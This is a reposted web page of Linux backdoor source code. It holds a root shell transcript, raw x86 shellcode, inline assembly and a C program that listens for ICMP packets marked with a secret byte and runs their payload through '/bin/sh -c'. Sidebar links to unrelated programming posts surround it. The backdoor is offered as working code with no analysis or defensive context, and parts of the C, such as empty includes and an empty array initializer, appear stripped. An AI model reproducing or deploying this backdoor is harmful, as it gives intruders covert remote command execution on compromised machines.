zoukankan      html  css  js  c++  java
  • Linux后门源代码

    main:/home/gloomy/security/shellcode/linux/icmp# ./icmp Size of shellcode = 137 main:/home/gloomy/security/shellcode/linux/icmp# ping -p 992f7573722f62696e2f69643e6f7574 -c 1 -s 26 localhost PATTERN: 0x992f7573722f62696e2f69643e6f7574 (\x99/usr/bin/id>out) 34 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.5 ms main:/home/gloomy/security/shellcode/linux/icmp# cat out uid=0(root) gid=0(root) groups=0(root) main:/home/gloomy/security/shellcode/linux/icmp# */ #include #include #include #include #define SECRET_CHAR "\x99" char shell[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x66" "\x43\x41\x51\xb1\x03\x51\x49\x51" "\x89\xe1\xcd\x80\x89\xc2\xb0\x02" "\xcd\x80\x31\xdb\x39\xc3\x75\x55" "\x31\xc0\x31\xdb\xb0\x10\x50\xb0" "\xff\x54\x54\x53\x50\x55\x52\x89" "\xe1\xb0\x66\xb3\x0c\xcd\x80\x89" "\xe9\x01\xc1\x31\xc0\x88\x41\xfe" "\xb0\x25\x01\xc5\xb0" SECRET_CHAR "\x32\x45\xff\x75\xd5\xb0\x02\xcd" "\x80\x31\xdb\x39\xc3\x74\x25\xeb" "\xc9\x31\xc0\x31\xdb\xb3\x02\xb0" "\x06\xcd\x80\x5b\x89\xd9\x88\x43" "\x07\x80\xc1\x08\x50\x55\x51\x53" "\x89\xe1\x99\xb0\x0b\xcd\x80\x31" "\xc0\x40\xcd\x80\xe8\xd8\xff\xff" "\xff" "/bin/sh -c"; void asm_code() { __asm(" xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx movb $0x66,%al incl %ebx incl %ecx push %ecx movb $0x3,%cl push %ecx decl %ecx push %ecx movl %esp,%ecx int $0x80 /* socket(); */ movl %eax,%edx movb $0x2,%al int $0x80 /* fork(); */ xorl %ebx,%ebx cmpl %eax,%ebx jne exit endlessloop: xorl %eax,%eax xorl %ebx,%ebx movb $0x10,%al push %eax movb $0xff,%al push %esp push %esp push %ebx push %eax push %ebp push %edx movl %esp,%ecx movb $0x66,%al movb $0x0c,%bl int $0x80 /* recvfrom(); */ movl %ebp,%ecx addl %eax,%ecx xorl %eax,%eax movb %al,-2(%ecx) movb $0x25,%al addl %eax,%ebp movb $0x99,%al /* SECRET_CHAR */ xorb -1(%ebp),%al jnz endlessloop movb $0x2,%al int $0x80 /* fork(); */ xorl %ebx,%ebx cmpl %eax,%ebx je stack jmp endlessloop execve: xorl %eax,%eax xorl %ebx,%ebx movb $0x2,%bl movb $0x6,%al int $0x80 /* close(); */ pop %ebx movl %ebx,%ecx movb %al,0x7(%ebx) addb $0x8,%cl push %eax push %ebp push %ecx push %ebx movl %esp,%ecx cdq movb $0xb,%al int $0x80 /* execve(); */ exit: xorl %eax,%eax incl %eax int $0x80 /* exit(); */ stack: call execve .string \"/bin/sh -c\" "); } void c_code() { int fd; int nb = 0; struct sockaddr_in them; int them_size = sizeof(struct sockaddr); char buf[256]; char *prog[] = ; fd = socket(2,3,1); if (fork() > 0) exit(0); while (1) { while (!(nb = recvfrom(fd,buf,255,0,(struct sockaddr *)&them,&them_size))); buf[nb-1] = 0; if (buf[36] == (char)SECRET_CHAR) if (fork() == 0) { close(2); execve(prog[0],prog,NULL); } } } int main(int c,char *v[]) { void (*i)(); i = (void (*)())shell; fprintf(stderr,"Size of shellcode = %d\n\n",strlen(shell)); i(); return 0; }
  • 相关阅读:
    Java学习二十九天
    Java学习二十八天
    47. Permutations II 全排列可重复版本
    46. Permutations 全排列,无重复
    subset ii 子集 有重复元素
    339. Nested List Weight Sum 339.嵌套列表权重总和
    251. Flatten 2D Vector 平铺二维矩阵
    217. Contains Duplicate数组重复元素
    209. Minimum Size Subarray Sum 结果大于等于目标的最小长度数组
    438. Find All Anagrams in a String 查找字符串中的所有Anagrams
  • 原文地址:https://www.cnblogs.com/adodo1/p/4327771.html
Copyright © 2011-2022 走看看